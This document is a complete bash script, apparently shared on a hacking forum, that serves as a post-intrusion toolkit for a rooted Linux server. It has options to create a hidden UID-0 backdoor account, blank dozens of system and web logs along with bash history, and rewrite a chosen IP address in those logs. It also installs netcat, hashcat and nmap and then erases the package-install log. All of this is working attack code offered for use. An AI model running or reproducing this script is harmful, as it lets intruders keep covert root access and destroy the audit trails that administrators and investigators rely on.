#!/bin/bash
#Coded By Codeine
#Visit http://infosecforums.com For Updates
#Or If You Have Input
#
#Version: 1.2
#
#Send Any Problems To f3codeine@yahoo.com Or Visit Site Above
#
################################################################
clear
echo "#########Overdose Shell Script############"
echo "# _____       _    ______            _   # "
echo "#|  __ \     | |   | ___ \          | |  # "
echo "#| |  \/ ___ | |_  | |_/ /___   ___ | |_ # "
echo "#| | __ / _ \| __| |    // _ \ / _ \| __|# "
echo "#| |_\ \ (_) | |_  | |\ \ (_) | (_) | |_ #"
echo "# \____/\___/ \__| \_| \_\___/ \___/ \__|#"
echo "################By Codeine################"
if [ "$(id -u)" != "0" ]; then
   echo ">You Must Run As Root<" 1>&2
   exit 1
fi
echo "Usage $0 [option]"
echo ""
echo ""
if [ "$1" == "--help"  ] || [ "$1" == "" ]; then
  echo "Usage $0 [option]"
  echo "--help  Displays List Of Options"
  echo "--packages  Install Various Packages(Run For List)"
  echo "--addroot  Add Root User"
  echo "--spooflogs  Spoof Logs With Fake IP"
  echo "--clearlogs  Blanks Out Logs"
  echo "--support  Gather Tats To Help Support The Project"
  exit
elif [ "$1" == "--addroot" ]; then
  echo "[*]Enter Username: "
  read rusername
  useradd -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M $rusername
  echo "$rusername Was Created"
  echo "[*]Set Password: "
  passwd $rusername
  exit
elif [ "$1" == "--clearlogs" ]; then
  echo "[*]Clearning Logs..."
  echo "------------------------------------"
#Clears 32 Different Logs
  blanklog() {
    if [ -f ${1} ]; then
      echo ""
      echo "--[*]Cleared ${1}"
      echo "" > ${1}
      if [ -f ${1}.1 ]; then
        echo "--[*]Cleared ${1} Backup"
        echo "" > ${1}.1
      fi
    fi
  }
  blanklog /var/log/lastlog
  blanklog /var/log/syslog
  blanklog /var/log/syslog
  blanklog /var/log/messages
  blanklog /var/log/httpd/access_log
  blanklog /var/log/httpd/access.log
  blanklog /var/log/httpd/error_log
  blanklog /var/log/httpd/error.log
  blanklog /var/log/apache2/access_log
  blanklog /var/log/apache2/access.log
  blanklog /var/log/apache2/error.log
  blanklog /var/log/apache2/error_log
  blanklog /var/log/wtmp
  blanklog /var/log/secure
  blanklog /var/log/xferlog
  blanklog /var/log/auth.log
  blanklog /var/log/lighttpd/lighttpd.error.log
  blanklog /var/log/lighttpd/lighttpd.access.log
  blanklog /var/run/utmp
  blanklog /var/www/logs/access_log
  blanklog /var/www/logs/access.log
  blanklog /var/www/logs/error_log
  blanklog /var/www/logs/error.log
  blanklog /var/log/apache/access_log
  blanklog /var/log/apache/access.log
  blanklog /var/log/apache/error_log
  blanklog /var/log/apache/error.log
  blanklog /var/log/yum.log
  blanklog /etc/httpd/logs/access_log
  blanklog /etc/httpd/logs/access.log
  blanklog /etc/httpd/logs/error_log
  blanklog /etc/httpd/logs/error.log
echo ""
echo "--[*]Clearing Bash History"
echo -n > ~/.bash_history
history -c
echo "------------------------------------"
echo "[*]All Logs Cleared"
exit
elif [ "$1" == "--packages" ]; then
  echo "[*]Listing Packages.."
  echo "------------------------------------"
  echo ""
  echo "0) Install All"
  echo "1) NMAP http://nmap.org/"
  echo "2) Hashcat http://hashcat.net/"
  echo "3) Netcat http://netcat.sourceforge.net/"
  echo "Which Would You Like To Install: "
  read pinstall
  if [ "$pinstall" == "0" ] || [ "$pinstall" == "1" ] || [ "$pinstall" == "2" ] || [ "$pinstall" == "3" ]; then
    function nmapinstall {
      echo "[*]Checking If Nmap Is Installed:"
      if [ -d /usr/local/share/nmap/ ]; then
        echo "[*]Nmap Is Installed. --Version"
        nmap --version
      else
          echo "[*]Nmap Is Not Installed"
          echo "[*]Nmap Installation Will Now Commence"
          wget -c http://nmap.org/dist/nmap-5.59BETA1.tar.bz2
          bzip2 -cd nmap-5.59BETA1.tar.bz2 | tar xvf -
          cd nmap-5.59BETA1
          ./configure
          make
          make install
          echo "[*]Nmap Installed. Now Cleaning Up"
          rm -r nmap-5.59BETA1
          rm nmap-5.59BETA1.tar.bz2
          if [ -f /var/log/dpkg.log ]; then
            echo "" > /var/log/dpkg.log
            if [ -f /var/log/dpkg.log.1 ]; then
              echo "" > /var/log/dpkg.log.1
            fi
          fi
      fi
    }
    function hashcatinstall {
      if [ ! -d /home/sysinstall/ ]; then
        mkdir /home/sysinstall
      fi
      if [ ! -d /home/sysinstall/hashcat/ ]; then
        cd /home/sysinstall
        wget http://infosecforums.com/uploads/hashcat.tar.gz
        tar xvfz hashcat.tar.gz
        rm hashcat.tar.gz
      else
        echo "[*]Hashcat Is Already Installed"
      fi
      
      
    }
    function netcatinstall {
      if [ ! -f /usr/local/bin/nc ]; then
        if [ ! -d /home/sysinstall/ ]; then
          mkdir /home/sysinstall
        fi
          cd /home/sysinstall
          wget http://infosecforums.com/uploads/netcat-0.7.1.tar.gz
          tar -xzf netcat-0.7.1.tar.gz
          cd netcat-0.7.1.tar.gz
          ./configure
          make
          make install
          echo "[*]Netcat Installed. Now Cleaning Up"
          rm netcat-0.7.1.tar.gz
          rm netcat-0.7.1
          if [ -f /var/log/dpkg.log ]; then
            echo "" > /var/log/dpkg.log
            if [ -f /var/log/dpkg.log.1 ]; then
              echo "" > /var/log/dpkg.log.1
            fi
          fi
      else
        echo "[*]Netcat Is Already Installed"
      fi
      
    }
    if [ "$pinstall" == "1" ]; then
      nmapinstall
    elif [ "$pinstall" == "2" ]; then
      hashcatinstall
    elif [ "$pinstall" == "3" ]; then
      netcatinstall
    elif [ "$pinstall" == "0" ]; then
      nmapinstall
      hashcatinstall
      netcatinstall
    fi
  else
    echo "Please Enter A Valid Package Number"
    exit
  fi
elif [ "$1" == "--spooflogs" ]; then
  echo "[*]IP To Replace: "
  read realip
  echo "[*]IP To Replace With: "
  read fakeip
  echo ""
  echo "[*]Spoofing Logs..."
  echo "------------------------------------"
  spooflog() {
    if [ -f ${1} ]; then
      echo ""
      echo "--[*]Spoofed ${1}"
      sed -i "s/$realip/$fakeip/g" ${1}
      if [ -f ${1}.1 ]; then
        echo "--[*]Spoofed ${1} Backup"
        sed -i "s/$realip/$fakeip/g" ${1}.1
      fi
    fi
  }
  spooflog /var/log/lastlog
  spooflog /var/log/syslog
  spooflog /var/log/syslog
  spooflog /var/log/messages
  spooflog /var/log/httpd/access_log
  spooflog /var/log/httpd/access.log
  spooflog /var/log/httpd/error_log
  spooflog /var/log/httpd/error.log
  spooflog /var/log/apache2/access_log
  spooflog /var/log/apache2/access.log
  spooflog /var/log/apache2/error.log
  spooflog /var/log/apache2/error_log
  spooflog /var/log/wtmp
  spooflog /var/log/secure
  spooflog /var/log/xferlog
  spooflog /var/log/auth.log
  spooflog /var/log/lighttpd/lighttpd.error.log
  spooflog /var/log/lighttpd/lighttpd.access.log
  spooflog /var/run/utmp
  spooflog /var/www/logs/access_log
  spooflog /var/www/logs/access.log
  spooflog /var/www/logs/error_log
  spooflog /var/www/logs/error.log
  spooflog /var/log/apache/access_log
  spooflog /var/log/apache/access.log
  spooflog /var/log/apache/error_log
  spooflog /var/log/apache/error.log
  spooflog /var/log/yum.log
  spooflog /etc/httpd/logs/access_log
  spooflog /etc/httpd/logs/access.log
  spooflog /etc/httpd/logs/error_log
  spooflog /etc/httpd/logs/error.log
  echo "------------------------------------"
  echo "[*]Logs Spoofed"
elif [ "$1" == "--support" ]; then
  echo "[*]If you would like to support the production of this script,"
  echo "[*]Email the following stats to f3codeine@yahoo.com"
  echo "[*]Server mailer may not send which is why I ask for manual email"
  echo "-----------Stats I Would Like----------------"
  echo "ls /usr/bin"
  echo "[*]This will display installed applications, warning this will display alot of files & dirs."
  echo ""
  echo "ls /var/log"
  echo "[*]This is the defualt location for logs."
  echo "-----------------------------------------------"
  echo ""
  echo "[*]I would very much appreciate if you ran those list commands and sent me the results"
  echo "[*]If you want to see this script develope more its a simple task to help out."
fi
##End of file: Visit http://infosecforums.com